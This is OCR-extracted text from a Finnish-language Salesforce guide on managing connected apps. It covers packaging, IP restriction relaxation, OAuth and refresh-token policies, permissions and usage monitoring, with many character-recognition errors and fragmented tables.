tai asennuksen elinkaaren. Yhdistetyn sovelluksen kayttajat nakevat mm. kuvauksen muutoksen. Seuraavat kentat toimivat talld
versiosta riippumattomalla tavalla.

e Kuvaus

e Info-URL

e Logokuvan URL
e (allback URL

Yhdistetyn sovelluksen pakkaaminen

Kun olet luonut yhdistetyn sovelluksen tai olemassa olevan sovelluksen uuden version, paketoi se salliaksesi muiden
Salesforce-organisaatioiden kayttajien kdyttaa sita. Voit lisdtd yhdistetyn sovelluksen hallittavaan pakettiin muiden komponenttien tavoin
ja niiden kanssa, mukaan lukien mukautetut objektit, Visualforce-sivut tai Apex-luokat. Talld tavalla voit toimittaa yhdistetyn sovelluksen
helposti muille Salesforce-organisaatioille. Koska yhdistetyt sovellukset ovat pakattavia komponentteja, ne voivat hyddyntad hallittavien
pakettien kaikkia muita ominaisuuksia, kuten AppExchange-listausta, tyontdpaivityksid, asennuksen jalkeisid Apex-komentosarjoja,

lisenssinhallintaa ja parannettua tilaajien tukea.

Note: Voit pakata yhdistetyn sovelluksen vain Developer Edition -organisaatiosta. Yhdistettyja sovelluksia voidaan lisata vain
hallittaviin paketteihin. Yhdistettyja sovelluksia ei tueta ei-hallittavissa paketeissa.

Yhdistetyn sovelluksen poistaminen

Jos haluat poistaa yhdistetyn sovelluksen, napsauta yhdistetyn sovelluksen nimea sovellusluettelosta. Napsauta muokkaussivulta
Poista ja vahvista toiminto napsauttamalla Poista uudelleen. Vaikka sovellus poistettiin, et voi kdyttad sen nimed uudelleen.

Jos poistat pakettiin sisdltyneen yhdistetyn sovelluksen, sovellus on edelleen kaytettdvissa paketissa, kunnes paivitat paketin.

@ Note: Jos yhdistetylle sovellukselle on maaritetty kayttajien provisiointi, et voi poistaa yhdistettyd sovellusta tai sen sisaltavda
pakettia, ennen kuin paakayttdjd poistaa kayttajien provisiointikokoonpanon tiedot. Huomaa, ettd Ota kiayttijien
provisiointi kayttdsén -valintaruudun valinnan poistaminen yhdistetyn sovelluksen lisatietosivulta ei poista

kokoonpanotietoja organisaatiosta. Jos haluat poistaa kokoonpanotiedot, katso Salesforce-paakayttajille tarkoitetut ohjeet koskien
tata tunnettua ongelmaa.

KATSO MYOS:
Yhdistetyn sovelluksen luominen
Yhdistetyt sovellukset

Yhdistettyjen sovellusten kdyttdjien provisiointi
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Yhdistettyjen sovellusten IP-rajoitusten lieventGminen ja jatkuva IP-rajoitusten kaytté

Tama aihe kuvaa, mitenistuntoasetusten Sovella sisdinkirjautumisen IP-alueita
kaikkiin pyyntéihin -vaihtoehto vaikuttaa OAuthia kdyttavan yhdistetyn sovelluksen

IP-rajoitusten lieventamisen asetuksiin.

Jos olet lieventdnyt OAuthia kdyttdvien yhdistetyn sovelluksesi IP-rajoituksia ja organisaatiossasi on
Sovella sisaénkirjautumisen IP-alueita kaikkiin pyyntdihin
-vaihtoehto kdytossd, yhdistetyn sovelluksesi kayttdoikeudet saattavat muuttua. Tamd
kdyttooikeuksien muutos koskee kaikkien OAuthia kayttavien yhdistetyn sovelluksien kdyttdoikeuksia,
mukaan lukien mobiililaitteiden. IP-rajoitusten lieventdminen ei koske SAML:ia kdyttavid yhdistettyja

sovelluksia.

Taulukko 3: Yhdistettyjen sovellusten IP-rajoitusten asetusten lieventaminen ja jatkuva
IP-rajoitusten kaytto

Pojiusen  Kun IP-rajoitukset eivét ole
lievennys jatkuvasti kaytossa (oletus)

Ota Organisaation IP-rajoitukset, kuten
kayttoon kdyttdjan profillissa madritetyt
TPrajanist IP-alueet, koskevat tdman sovelluksen
kdyttajaa.
Lievenna Tdmadn sovelluksen kdyttdjd ohittaa
TPjaihisia organisaation IP-rajoitukset, jos kumpi
toisella tahansa ndistd ehdoista tayttyy:
tekijalld o sovelluksellaon sallittuja IP-alueita
ja kayttad Web-palvelimen
OAuth-todennuskulkua. Vain
sallituista IP-osoitteista tulevat
pyynnét hyvaksytdan.

e Sovelluksella ei ole sallittuja
IP-alueita, se kdyttda
Web-palvelimen tai
kdyttajdagentin
OAuth-todennuskulkua ja kayttaja
vahvistaa henkil6llisyytensa
onnistuneesti.

Lievenna Mitkddn IP-rajoitukset eivat koske
Pwajdihksia tdmdn yhdistetyn sovelluksen
kayttdjad.

Kun IP-rajoitukset ovat jatkuvasti
kaytossa

Organisaation IP-rajoitukset, kuten kdyttajan
profiilissa madritetyt IP-alueet, koskevat
taman sovelluksen kayttajaa.

Taman sovelluksen kayttdja ohittaa
organisaation IP-rajoitukset, jos kumpi
tahansa edellisen sarakkeen OAuth-ehdoista
tayttyy. Kayttaja ei voi kuitenkaan suorittaa
seuraavia toimintoja tietoturvasyista:

e Vaihda salasanaa
e Lisdd aikaan perustuva tunnus

e Lisda sivuja kirjautumiskulkuun

Mitkdan IP-rajoitukset eivat koske tdman
yhdistetyn sovelluksen kayttajda. Kayttdja ei
voi kuitenkaan suorittaa seuraavia toimintoja
tietoturvasyista:

e Vaihda salasanaa
e Lisda aikaan perustuva tunnus

e Lisda sivuja kijautumiskulkuun
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Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Yhdistettyj& sovelluksia voi
luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

Yhdistettyja sovelluksia voi
asentfaa: kaikissa versioissa.
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Yhdistetyn sovelluksen lisGtietojen tarkasteleminen

KAYTTJAOIKEUDET EDITION-VERSIOT

Lukeminen: Sovelluksen mukautusoikeus Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Luominen, pdivittdminen tai poistaminen:  Sovelluksen mukautusoikeus JA joko

kaikkien tietojen muokkausoikeus TAI

yhdistettyjen sovellusten hallintaoikeus Yhdistetty|d sovelluksia vol

luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

Kaikkien kenttien pdivittdminen, pois lukien Sovelluksen mukautusoikeus
Profiilit, Kayttdoikeusjoukot ja
Palveluntarjoajan SAML-attribuutit:

Profiilit-, Kayttdoikeusjoukot- ja Sovelluksen mukautusoikeus JA kaikkien Developer Edition
Palveluntarjoajan SAML-attribuutit- kenttien  tietojen muokkausoikeus -versioissa
pdivittdminen:

Yhdistettyja sovelluksia voi

Asennuksen poistaminen: Pakettien latausoikeus asentaa: kaikissa versioissa
AppExchange-palvelusta

Yhdistetyn sovelluksen lisdtietosivulta ndet yhdistetyn sovelluksen tiedot, muun muassa sen version ja vaikutusalueet. Voit muokata
yhdistettyd sovellusta, tarkistaa sen kayttétiedot ja liittad siihen profiileja ja kayttooikeuksia.

e Napsauta Muokkaa muuttaaksesi sovelluksen kokoonpanoa yhdistetyn sovelluksen muokkaussivulta.

e Napsauta Lataa metadata hankkiaksesi palveluntarjoajan SAML-kirjautumisen URL-osoitteet ja pdatepisteet, jotka ovat yksilollisia
yhteisollesi tai mukautetulle toimialuekokoonpanollesi. Tama painike ndytetadn vain, jos organisaatiosi on otettu kdyttoon
henkildllisyydentarjoajana ja ainoastaan SAML:ia kdyttdvissa yhdistetyissa sovelluksissa.

e Metadatan lataamisen sijaan voit kdyttda metadataa Metadata Discovery -padtepisteen URL-osoitteesta. Palveluntarjoajasi voi kdyttaa
tatd URL-osoitetta mdaarittdakseen kertakirjautumisen, jolla se muodostaa yhteyden Salesforceen.

e Napsauta Nayta OAuth-kayttotiedot nahdaksesi organisaatiosi yhdistettyjen sovellusten kayttéraportin.

e Voit ottaa yhdistetyn sovelluksen kayttajien provisioinnin kdyttoon talta sivulta. Kun se on kdytdssd, madritd tai pdivita kdyttdjien
provisiointiasetukset kdyttajien ohjatulla provisiointitoiminnolla. Kun olet suorittanut kdyttdjien ohjatun provisiointitoiminnon, voit
hallita kayttajdtilejd ja niiden kolmannen osapuolen jdrjestelmdssd olevia asetuksia toisistaan erilldan Kayttdjatilit-osiosta.

e Napsauta Profiilien hallinta valitaksesi sovellukselle profiilit Sovelluksen profiilien kohdistus -sivulta. Valitse profiilit, jotka voivat
kdyttdd tdta sovellusta (paitsi Group Edition -organisaatiossa).

@ Tarkedd: Taté vaihtoehtoa ei ndytetd, jos OAuth-kdytdnto Sallitut kdyttdjaton Kaikki kdyttdjdt voivat
valtuuttaa itse, koska tatd vaihtoehtoa ei tarvitse, kun kdyttdjat voivat valtuuttaa itse.

e Napsauta Kayttooikeusjoukkojen hallinta valitaksesi sovellukselle kdyttdoikeusjoukot Sovelluksen kayttdoikeusjoukkojen kohdistus
-sivulta. Valitse kdyttdoikeusjoukot, jotka voivat kdyttad tatd sovellusta.

@ Tdarkedd: Tatd vaihtoehtoa ei ndytetd, jos OAuth-kaytanto Sallitut kdyttajat on Kaikki kdyttdjdt voivat
valtuuttaa 1tse, koska tdta vaihtoehtoa eitarvitse, kun kayttdjat voivat valtuuttaa itse.

e Napsauta Palveluntarjoajan SAML-attribuutit -sivulta Uusi luodaksesi uusia attribuuttien avain/arvo-pareja. Voit myds muokata ja
poistaa olemassa olevia madritteita.
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Vain kayttdjat, jotka kuuluvat vahintdan yhteen valittuun profiiliin tai kdyttdoikeusjoukkoon, voivat kdyttaa sovellusta, jos olet valinnut
yhdistetyn sovelluksen muokkaussivulla Paakayttajdn hyvaksymat kayttadjat -vaihtoehdon asetukselle Sallitut
kayttdjat .Josvalitset Kaikki kayttajat, profillejaja kdyttdoikeusjoukkoja ei oteta huomioon.

KATSO MYOS:

Yhdistettyjen sovellusten kdyttdjien provisiointi

Yhdistetyn sovelluksen hallinta

KAYTTJAOIKEUDET EDITION-VERSIOT

Lukeminen: Sovelluksen mukautusoikeus Kéytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Luominen, pdivittdminen tai poistaminen:  Sovelluksen mukautusoikeus JA joko

kaikkien tietojen muokkausoikeus TAI

yhdistettyjen sovellusten hallintaoikeus Yhdisteftyi sovelluksia voi

luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

Kaikkien kenttien pdivittdminen, pois lukien Sovelluksen mukautusoikeus
Profiilit, Kayttdoikeusjoukot ja
Palveluntarjoajan SAML-attribuutit:

Profiilit-, Kayttdoikeusjoukot- ja Sovelluksen mukautusoikeus JA kaikkien Developer Edition
Palveluntarjoajan SAML-attribuutit- kenttien  fietojen muokkausoikeus -versioissa
pdivittdminen:

Yhdistettyja sovelluksia voi

Asennuksen poistaminen: Pakettien latausoikeus asentaa: kaikissa versioissa
AppExchange-palvelusta

Voit tarkastella ja paivittad yhdistetyn sovelluksen ominaisuuksia kirjoittamalla Maaritykset-valikon Pikahaku-kenttddn Yhdistetyt
sovellukset javalitsemalla yhdistettyjen sovellusten hallintavaihtoehdon. Napsauta sovelluksen vierestd Muokkaa. Katsoaksesi
yhdistetyn sovelluksen, tietoja ja kdytdnt6jd, tai lisatdksesi siihen mukautettuja ominaisuuksia, napsauta sovelluksen nimed.

@ Nofe: Istunto pdivittyy automaattisesti kdyttdjan ollessa sovelluksessa 15 minuutin ja 12 tunnin vélein, perustuen organisaatiolle
mddritettyyn Aikakatkaisu-arvoon, jota kayttdja ei tavallisesti nde.

Salesforce asentaa yhdistetyt sovellukset

Jotkin Salesforce-asiakassovellukset on toteutettu yhdistettyina sovelluksina ja asennettu automaattisesti organisaatiollesi, esimerkiksi
Salesforce1 tai Salesforce for Outlook. Saatat siis ndhda asennettujen sovellusten luettelossa enemman yhdistettyjd sovelluksia kuin
odotit.

Nama Salesforcen yhdistetyt sovellukset toimitetaan kahdessa hallittavassa paketissa: yksi Salesforce1-sovelluksille ja toinen muille kuin
Salesforce1-sovelluksille. Sisdllytettavien sovellusten luettelo saattaa muuttua kunkin julkaisun yhteydessd. Hallinnan helpottamiseksi
jokainen paketti asennetaan kuitenkin ei-synkronoidusti organisaatioosi, kun kuka tahansa organisaatiosi kdyttdjd kdyttad jotakin ndistd
sovelluksista ensimmadista kertaa.

Jos haluat asentaa (tai asentaa uudelleen) yhdistettyjen sovellusten Salesforce1-paketin, voit ennakoivasti asentaa sen
AppExchange-palvelusta.

Paketit ndytetdan asennettujen pakettien luettelossa Madritykset-valikossa.

Napsauta paketin nimea nahdaksesi luettelon sen komponenteista. Alla on joitakin Salesforce Connected Apps -paketin komponenteista.
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@ Nofte: Force.com IDE, Force.com Migration Tool, Dataloader Bulk ja Dataloader Partner ovat "paketoituja” yhdistettyja sovelluksia,
jotka muodostavat yhteyden Salesforceen kdyttamalld SOAP APl:a, eikd OAuth-todennusta toisin kuin muut yhdistetyt sovellukset.

Ne kdyttdvat kuitenkin yhdistettyjen sovellusten rakennetta myontaakseen kdyttdjille organisaation sovellusten kayttdoikeuksia tai
evatakseen niita.

Alla on joitakin Salesforce1 and Chatter Apps -paketin komponenteista.

Voit hallita nditd asennettuja yhdistettyja sovelluksia kirjoittamalla Madritykset-valikon Pikahaku-kenttddn Yhdistetyt
sovellukset javalitsemalla yhdistettyjen sovellusten hallintavaihtoehto. Télléin ndet Salesforceen automaattisesti asennetut
yhdistetyt sovellukset, jotka ndytetdan luettelossa hallittavista paketeista asennettuina sovelluksina muiden asennettujen yhdistettyjen
sovelluksiesi kanssa.

KATSO MYOS:

Yhdistettyjen sovellusten kayttdjien provisiointi

Yhdistetyn sovelluksen muokkaaminen

KAYTTJAOIKEUDET EDITION-VERSIOT

Lukeminen: Sovelluksen mukautusoikeus Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Luominen, pdivittdminen tai poistaminen:  Sovelluksen mukautusoikeus JA joko

kaikkien tietojen muokkausoikeus TAI

yhdistettyjen sovellusten hallintaoikeus Yhdisteftyja sovelluksia voi

luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

Kaikkien kenttien pdivittdminen, pois lukien Sovelluksen mukautusoikeus
Profiilit, Kayttéoikeusjoukot ja
Palveluntarjoajan SAML-attribuutit:

Profiilit-, Kayttooikeusjoukot- ja Sovelluksen mukautusoikeus JA kaikkien Developer Edition
Palveluntarjoajan SAML-aftribuutit- kenttien  fietojen muokkausoikeus -versioissa
pdivittédminen:

Yhdistettyj& sovelluksia voi

Asennuksen poistaminen: Pakettien latausoikeus asentaa: kaikissa versioissa
AppExchange-palvelusta

Voit muokata yhdistetyn sovelluksen asetuksia ja kayttoikeuksia.

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Yhdistetyt sovellukset ja valitse yhdistettyjen sovellusten
hallintavaihtoehto.

2. Napsauta muokattavan sovelluksen nimen vierestd Muokkaa. (Voit tarkastella yhdistetyn sovelluksen lisatietosivua napsauttamalla
sovelluksen nimed.)

e Seuraavat OAuth-kaytanndt ovat kaytettdvissa kaikissa OAuthia kayttdvissa yhdistetyissa sovelluksissa.
- Hyviaksytyt kayttajiat madrittdad kuka voi kdyttda sovellusta.

® Kaikki kdyttadjat voivat valtuuttaa itse:Oletusasetus. Kuka tahansa organisaatiossa voi valtuuttaa
sovelluksen itse. Tdma asetus tarkoittaa, etta kdyttdjien taytyy hyvdksya sovellus kdyttdessdan sitd ensimmadistd kertaa.

e Pisjkayttidjidn hyvaksymat kdyttdjat on esivaltuutettu Kdyttdoikeudet ovat rajallisia kayttdjille,
joille on médritetty profiili tai kayttoikeusjoukko, mutta ndiden kayttdjien ei tarvitse hyvaksya sovellusta kdyttaakseen sitd.
Group Edition -organisaatiossa tdmd asetus estdd sovelluksen kayttdoikeuden kaikilta kayttdjiltd. Hallitse sovelluksen profiileja

170



Paranna Salesforcea koodilla Sovellusten integrointi Salesforcen kanssa

muokkaamalla kunkin profiilin Yhdistetyn sovelluksen kayttdoikeudet -luetteloa (paitsi Group Edition -organisaatiossa).
Hallitse sovelluksen kdyttdoikeusjoukkoja muokkaamalla kunkin kayttoikeusjoukon Kohdistetut yhdistetyt sovellukset
-luetteloa.

Varoitus: Jos vaihdat vaihtoehdon Kaikki kayttdjat voivat valtuuttaa itsenséa vaihtoehtoon
Pidkayttiajan hyviksymdt kayttidjidt on esivaltuutettu, kaikkitdlld hetkelld sovellusta kdyttdjat
menettavat kdyttdoikeutensa, elleivdt he kuulu sovellukselle madrittamadsi kayttdoikeusjoukkoon tai profiiliin.

@ Note: Jos kdyttdjdn profiili tai kdyttdoikeusjoukko sisdltdd kaikkien APl-asiakassovellusten kayttoikeuden, Paakayttaian
hyvaksymat kdyttdjat on esivaltuutettu -kdytdntdvoidaan ohittaa. Tama kayttdoikeus on kdytettdvissd
vain, jos "Vain paakdyttajan hyvaksymat sovellukset" -organisaatio-oikeus on kdytossd. Kaikkien API-asiakassovellusten
kdyttooikeus sallii muiden kuin padkayttajien kdyttda sovellusta ja suorittaa sen, vaikka yhdistetyn sovelluksen asetukset
vaatisivatkin padkayttdjan hyvaksymia kayttdjia ja "Vain paakayttdjat hyvaksymdt sovellukset" -organisaatio-oikeus olisi
kdytossd. Tamd kdyttooikeuksien yhdistelma sallii tiettyjen kayttdjien, kuten lyhytkestoisten urakoitsijoiden, kayttaa yhdistettya
sovellusta vdliaikaisesti.

- IP-rentoutukset viittaa IP-rentoutuksiin, jotka koskevat yhdistetyn sovelluksen kayttdjid. IP-alueet toimivat OAuthia
kdyttdvien yhdistettyjen sovellusten kanssa, mutta eivdt SAML:ia kdyttdvien yhdistettyjen sovellusten kanssa. Padkayttdja voi
soveltaa nditd rajoituksia tai ohittaa ne valitsemalla jonkin seuraavista vaihtoehdoista.

e Kiyta IP-rajoituksia:Oletusasetus. Organisaation IP-rajoitukset, kuten kayttdjan profiilissa madritetyt IP-alueet,
koskevat tdmadn sovelluksen kdyttdjaa.

® Pura IP-rajoitukset toisella tekij&lla:Tamadn sovelluksen kayttdjd ohittaa organisaation IP-rajoitukset,
jos kumpi tahansa ndista ehdoista tayttyy:

- Sovelluksella on sallittuja IP-alueita ja kdyttad Web-palvelimen OAuth-todennuskulkua. Vain sallituista IP-osoitteista
tulevat pyynnot hyvaksytaan.

- Sovelluksella ei ole sallittuja IP-alueita, se kayttda Web-palvelimen tai kdyttdjaagentin OAuth-todennuskulkua ja kayttdja
vahvistaa henkildllisyytensd onnistuneesti.

e Pura IP-rajoitukset:Mitkddn IP-rajoitukset eivdt koske tdman yhdistetyn sovelluksen kayttajaa.

@ Note: Josistuntoasetusten Sovella sisd&nkirjautumisen IP-alueita kaikkiin pyyntdihin
-vaihtoehto on otettu kayttddn, se vaikuttaa IP-rajoitusten lieventamiseen. Lisatietoja on kohdassa Yhdistettyjen sovellusten
IP-rajoitusten lieventdminen ja jatkuva IP-rajoitusten kaytto sivulla 167.

- Paivitysvaltuuden kaytantd madrittdd pdivitysvaltuuden voimassaoloajan. OAuthia kdyttdvat yhdistetyt sovellukset
kdyttdvat pdivitysvaltuuksia aloittaakseen uudet istunnot ilman, ettd kayttdjdn tarvitsee syottda tunnuksensa. Yhdistetty sovellus
yksinkertaisesti vaihtaa paivitysvaltuuden uuteen istuntoon. Padkdyttajat hallitsevat pdivitysvaltuuksien voimassaoloaikaa
paivitysvaltuuksien kdytannailld. Vaihtoehdot ovat alla.

e Piivitysvaltuus on voimassa, kunnes se kumotaan.Tdmd asetuson oletusvaihtoehto. Se maarittdd,
ettd valtuutta kaytetdan rajoituksetta, kunnes kayttdjd tai padkayttdja kumoaa sen. Kumoa valtuudet kdyttajan lisdtietosivulta
kohdasta Yhdistetyt OAuth-sovellukset tai Yhdistettyjen OAuth-sovellusten kdyttd -raportista.

e Piivitysvaltuus vanhenee heti.Tdmd asetus mddrittad, ettd pdivitysvaltuus erdantyy heti. Kdyttdja voi kdyttda
jo annettua kayttdoikeusvaltuutta (nykyistd istuntoa), mutta ei voi kdyttda pdivitysvaltuutta uuden istunnon aloittamiseen.

e PpPaivitysvaltuus vanhenee, jos sitd ei kdytetd n.Tdmd asetus madrittdd, ettd valtuus vanhenee,
jos sitd ei kdytetd mdaritettyyn aikaan. Jos kentdn arvo on esimerkiksi 7 paivaia ja pdivitysvaltuutta ei vaihdeta uuteen
istuntoon seitseman pdivan aikana, seuraava yritys kayttad valtuutta epdonnistuu. Valtuus vanheni eika se voi luoda enda
uusia istuntoja. Jos pdivitysvaltuus kdytetdan onnistuneesti 7 paivan aikana, voimassaoloajan laskuri nollautuu ja valtuus on
jalleen voimassa 7 pdivan ajan.
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e Piivitysvaltuus vanhenee n jilkeen.Tamad asetus maarittad, etta paivitysvaltuus vanhenee tietyn ajan
kuluessa. Jos kaytanto on esimerkiksi 1 paiwva, paivitysvaltuutta voidaan kdyttad uuden istunnon aloittamiseen 24 tunnin
ajan. 24 tunnin jalkeen pdivitysvaltuutta ei voi endd kayttaa.

Kayttdjan istuntoa voidaan hallita kdyton perusteella. Sen voimassaoloaika madritetddn yhdistetyn sovelluksen, kdyttajdprofiilin
tai organisaation istuntoasetusten aikakatkaisun arvolla (tdssa jarjestyksessd). Paivitysvaltuuden kaytantd lasketaan
vain annetun pdivitysvaltuuden kdyton aikana eikd se vaikuta kdyttajan nykyiseen istuntoon. Pdivitysvaltuudet vaaditaan vain,
kun kdyttajan istunto vanhenee tai ei ole endd kdytettdvissa. Jos esimerkiksi mdaritdt PAivitysvaltuuden kaytantd
-arvoksi Paivitysvaltuus vanhenee 1 tunnin j&lkeen ja kdyttdja kdyttda sovellusta 2 tunnin ajan, hantd ei
pakoteta todentamaan itseddn 1 tunnin jalkeen. Kayttdjan taytyy todentaa itsensd uudelleen vasta, kun istunto vanhenee ja
sovellus yrittad vaihtaa sen paivitysvaltuuksia uuteen istuntoon.

- Aikakatkaisuarvo on saatavilla vain OAuthia kdyttaville yhdistetyille sovelluksille. Tdmd arvo maarittda yhdistetyn sovelluksen
istunnon kayttoikeusvaltuuksien vanhentumisen. Jos et madrité arvoa tai valittunaon Ei mit&an (oletusarvo), Salesforce
kdyttad kdyttajdprofiilin aikakatkaisuarvoa. Jos arvoa ei ole mdaritetty profiilissa, Salesforce kayttda organisaation istuntoasetuksissa
olevaa aikakatkaisuarvoa.

- Myos yhdistetyn sovelluksen nykyiset kdyttdoikeudet ndytetddn tassa.
Jos yhdistetty sovelluksesi on esitysaluesovellus, joka kdyttda allekirjoitetun pyynndn todennusta, tee ndin:
— Maaritd sallitut kayttajat -asetukseksi PAakayttajsdn hyvaksymidt kdyttidjdt on esivaltuutettu
— Aseta Vanhenna ja Paivita Tunnukset arvoon Ensimm&inen sovelluksen kadyttdkerta.
- Myonna kdyttdjille kayttdoikeus profiilien tai kdyttdoikeusjoukkojen avulla.

e |stuntotason kaytantd on kaytettdvissa kaikissa yhdistetyissa sovelluksissa. Jos haluat vaatia kayttdjid syottdmaan aikaan perustuvan
kdyttovaltuuden kayttadkseen sovellusta, valitse Korkea luottamus -istunto vaaditaan -vaihtoehto.

e Kaikille yhdistetyille sovelluksille on saatavilla perustietoja. Jos sovelluksesi on kuitenkin esitysaluesovellus, ndiden kenttien arvoja ei
kdytetd. Sen sijaan kaytetdan esitysaluesovelluksen URL-osoitetta, joka mdaritettiin yhdistetyn sovelluksen luonnin yhteydessa.

- Aloitus-URL on kdytdssa, jos yhdistetty sovellus kayttaa kertakirjautumista. Maarita URL osoittamaan tassa tapauksessa
sivuun, josta kayttaja aloittaa todennuksen. Tama sijainti ndytetdan myos sovellusten vaihtovalikossa.

- Mobiilialoitus-URL ohjaa kdyttdjdt tiettyyn sijaintiin, kun sovellusta kdytetadn mobiililaitteesta.

e Mobiilisovelluksen asetukset ovat kdytettdvissa yhdistetyille mobiilisovelluksille, jotka kdyttavat PIN-suojausta.

- Vaadi PIN tamin ajan kuluessa madrittdd, kuinka kauan sovellus pysyy auki kdyttamdttomadnd, minkd jalkeen se
lukitsee itsensd ja vaatii PIN-koodin ennen jatkamista. Sallitut arvot ovat ei mitaan (ei lukitusta), 1, 5, 10 ja 30 minuuttia. Tama
kdytantd pannaan toimeen vain, jos vastaava PIN-koodin pituus on madritetty. Kdytdnndn toimeenpano on yhdistetyn
sovelluksen vastuulla. Salesforce Mobile SDK:l4 kirjoitetut sovellukset voivat toimeenpanna tdméan kéytanndn tai sovellus voi
lukea kaytannon Userlnfo-palvelusta ja toimeenpanna sen.

@ Note: Tamd asetus ei vanhenna kayttajan istuntoa. Kun istunto vanhentuu, koska sitd ei ole kaytetty hetkeen, tdmé kdytanto
vaatii kdyttdjad syottamaan PIN-koodinsa jatkaakseen tdmanhetkistd istuntoa.

- PIN-koodin pituus madrittad todennuksen vahvistamisen tunnusnumeron pituuden. Pituus voi olla 4-8 merkkia.

e Mukautetut attribuutit ovat kdytettdvissa kaikissa yhdistetyissa sovelluksissa. Kehittdjat voivat maarittad yhdistetylle sovellukselle
mukautettua SAML-metadataa tai mukautettuja OAuth-attribuutteja. Padkayttdjat voivat poistaa tai muokata ndita attribuutteja tai

lisdta mukautettuja attribuutteja. Paakayttajien poistamat, muokkaamat tai lisdamat attribuutit korvaavat kehittdjien maarittamat
attribuutit. Lisatietoja on kohdasta Yhdistetyn sovelluksen muokkaaminen, pakkaaminen tai poistaminen sivulla 164.
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Mukautettu yhdistetyn sovelluksen kdsittelijc

Mukauta yhdistetyn sovelluksen toimintatapoja Apexilla. Luo luokka, joka laajentaa Apex-luokkaa ConnectedAppPlugin,ja liitd
se yhdistettyyn sovellukseen. Tamd luokka voi tukea uusia todennusprotokollia tai vastata kdyttajdattribuutteihin liketoimintaprosessia
hyodyntdvalla tavalla.

Liitdnndinen suoritetaan kayttdjatilin puolesta. Valitse Suorita kayttajana -kenttdan liitdanndisen kayttdjd. Jos kayttdjad ei ole
vahvistettu yhdistetylle sovellukselle, tee niin authorize-metodilla. Lisdtietoja on ConnectedAppPlugin-luokan osiossa
Force.com Apex Code Developer's Guide -oppaassa.

KATSO MYOS:
Yhdistetyn sovelluksen muokkaaminen

Yhdistettyjen sovellusten kayttajien provisiointi

Yhdistetyn sovelluksen kayton valvonta

KAYTTJAOIKEUDET EDITION-VERSIOT

Lukeminen: Sovelluksen mukautusoikeus Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Luominen, pdivittdminen tai poistaminen:  Sovelluksen mukautusoikeus JA joko

kaikkien tietojen muokkausoikeus TAI

yhdistettyjen sovellusten hallintaoikeus Yhdistetty|d sovelluksia vol

luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

Kaikkien kenttien pdivittdminen, pois lukien Sovelluksen mukautusoikeus
Profiilit, Kayttdoikeusjoukot ja
Palveluntarjoajan SAML-attribuutit:

Profiilit-, Kayttdoikeusjoukot- ja Sovelluksen mukautusoikeus JA kaikkien Developer Edition
Palveluntarjoajan SAML-attribuutit- kenttien  tietojen muokkausoikeus -versioissa
pdivittdminen:

Yhdistettyja sovelluksia voi

Asennuksen poistaminen: Pakettien latausoikeus asentaa: kaikissa versioissa
AppExchange-palvelusta

Voit tarkastella organisaation yhdistettyjen sovellusten kayttoon liittyvia tietoja kirjoittamalla Madritykset-valikon Pikahaku-kenttadn
Yhdistettyjen sovellusten OAuth-kdyttd javalitsemalla Yhdistettyjen sovellusten OAuth-kaytto. Nayttoon
avautuu luettelo yhdistetyistd sovelluksista ja niiden tiedoista.

Yhdistetty sovellus
Sovelluksen nimi. Luettelossa ei ndytetd yhdistettyja sovelluksia, jotka on asennettu, mutta joita kukaan ei ole vield kdyttanyt.

Nayta sovelluksen tiedot
Napsauta Nayta sovelluksen tiedot siirtyaksesi yhdistetyn sovelluksen lisatietosivulle. Jos yhdistettyd sovellusta ei ole asennettu,
napsauta Asenna.

Kayttdjien maara
Sovelluksen suorittaneiden kdyttdjien maard. Napsauta Kayttdjien madra -arvoa nahdaksesi tietoja kayttajistd, kuten:
e Milloin he kayttivét sovellusta ensimmaista kertaa
e Milloin he kayttivat sovellusta viimeksi

e Kuinka monta kertaa he ovat kayttaneet sovellusta yhteensa
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Yhdistetyn sovelluksen kayttdjan kayttotiedot -sivulta voit lopettaa kayttajan kayttéoikeuden hanen tdmanhetkiseen istuntoonsa
napsauttamalla henkildn riviltd Kumoa-toimintoa. Voit myds napsauttaa Kumoa kaikki -painiketta sivun ylalaidasta kirjataksesi
kaikki yhdistetyn sovelluksen kdyttdjat kerralla ulos.

Toiminto
Napsauta Esta lopettaaksesi yhdistetyn sovelluksen kaikkien kdyttdjien tdmdnhetkiset istunnot ja estadksesi kaikki uudet istunnot.

Sovelluksen estdminen ei ole pysyvaa. Mydhemmin voit napsauttaa Kumoa esto salliaksesi kayttajien kirjautua sisadn sovellukseen
ja kayttad sita.

OAuth-kayttooikeuksien hallinta yhdistetyille sovelluksillesi

Yhdistetty sovellus integroituu Salesforcen kanssa APl:en avulla. Yhdistetyt sovellukset kdyttdvdt EDITION-VERSIOT
tavallisia SAML- ja OAuth-protokollia valtuutukseen, kertakirjautumisen tarjontaan ja tarjotakseen
valtuuksia SalesforceAPl:en kanssa kdyttdmiseen. Tavallisten OAuth-kykyjen lisdksi yhdistetyt

Kaytettdvissa: Salesforce

sovellukset sallivat padkayttdjien madrittdd useita suojauskdytantdjd ja hallita tarkasti, kuka voi kdyttda Classicissa

vastaavia sovelluksia. Kaikki yhdistetyt sovellukset on integroitu Salesforceen siten, ettd ne voivat

kdyttaa Salesforce-tietojesi alijoukkoja, kun olet myontanyt kullekin sovellukselle kdyttdoikeuden. Kaytettavissa: kaikissa
versjoissa

Henkildtiedoissasi on luettelo kaikista yhdistetyistd sovelluksista, joilla on lupa kayttda

Salesforce-tietojasi Salesforce Classic Mobile ei

ole kaytettdvissd
1. Kirjoita henkilokohtaisten asetustesi Pikahaku-kenttdan Kayttdjdn lisdtiedot ja Database.com-versiossa

valitse Kayttajan lisatiedot. Eiko tuloksia 16ydy? Kirjoita Pikahaku-kenttddn
Henkildbkohtaiset javalitse Henkilokohtaiset.

